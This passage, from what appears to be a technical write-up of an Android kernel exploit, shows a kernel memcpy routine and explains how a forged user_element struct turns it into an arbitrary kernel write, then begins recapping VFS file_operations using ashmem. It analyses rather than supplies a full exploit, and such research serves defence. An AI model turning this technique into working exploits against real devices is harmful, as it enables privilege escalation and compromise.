font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">+</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_get_ioff(kcontrol,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">&ucontrol->id)</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">size;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">change</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">memcmp(&ucontrol->value,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">dst,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">size)</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">!=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #c5221f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">0</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">if</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">(change)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="background-color: #f4cccc; color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">memcpy(dst,</span><span style="background-color: #f4cccc; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="background-color: #f4cccc; color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">&ucontrol->value,</span><span style="background-color: #f4cccc; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="background-color: #f4cccc; color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">size);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">return</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">change;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">}</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><br /></span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">The attacker uses their (attacker-controlled data at known address) primitive provided by the tlstream facility to generate an allocation acting as a </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">user_element</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> struct. The pointer to this struct is later fed into the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">kctl</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> struct as the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">private_data</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> field, giving the attacker control over the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct user_element</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> used in this function. The destination for the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">memcpy</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> call comes directly out of this </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">user_element</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> struct, meaning that the attacker can set the destination to an arbitrary kernel address. Since the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ucontrol->value</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> used as the source comes directly from userland by design, this leads directly to an arbitrary write of controlled data to kernel virtual memory.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span style="border: none; display: inline-block; height: 307px; overflow: hidden; width: 624px;"><img height="307" src="https://lh5.googleusercontent.com/RLWmblhMLH7jllwERZNHJ8uQEfG6oGUHTYBkCJ993ZtiLm4hINP6eeFevFPxJwQ4XEEBTRFaJmpuU3Bd5WEUgMy4A1ylY0C9waFCh9rhWdlBRY8JsTAcA0IcwjtusWLhcQ4zH2khOZeVSzXsie6CNn4qMx7rr8lRlrQoqtB4oQC1e3fTFGfq-biw7B2sOO2s_WbOivMityLDoLdhq2uCAZzalffzJxTAiZVG0Q" style="margin-left: 0px; margin-top: 0px;" width="624" /></span></span></p><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span face="Arial, sans-serif" style="font-size: 16pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space-collapse: preserve;">A Recap of the Linux Kernel VFS Subsystem</span></h2><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">This write is unreliable because each use of the write relies heavily on races and heap sprays in order to hit. The exploit proceeds by creating a deterministic, highly reliable arbitrary read/write via the use of this original unreliable write. In the Linux kernel virtual filesystem (VFS) architecture, every </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct file</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> comes with a </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct file_operations</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> member that defines a set of function pointers used for various different system calls such as </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">read</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">, </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">write</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">, </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ioctl</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">, </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">mmap</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">, etc. These function calls interpret the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct file</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">’s </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">private_data</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> member in a type-specific way. </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">private_data</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> is usually a pointer to one of a variety of different data structures based on the specific </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct file</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">. Both of these members, the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">private_data</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> and the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">fops</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">, are populated into the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct file</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> upon allocation/creation of the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct file</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> which for example happens within syscalls in the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">open</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> family. This fops table can be registered as part of a </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">miscdevice</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> which is used for certain files in the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">/dev</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> filesystem. For example </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">/dev/ashmem</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> which is an Android-specific shared memory API:</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">static</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">const</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">file_operations</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ashmem_fops</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">.owner</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">THIS_MODULE,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">.open</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ashmem_open,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">.release</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ashmem_release,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">.read_iter</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ashmem_read_iter,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">.llseek</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; 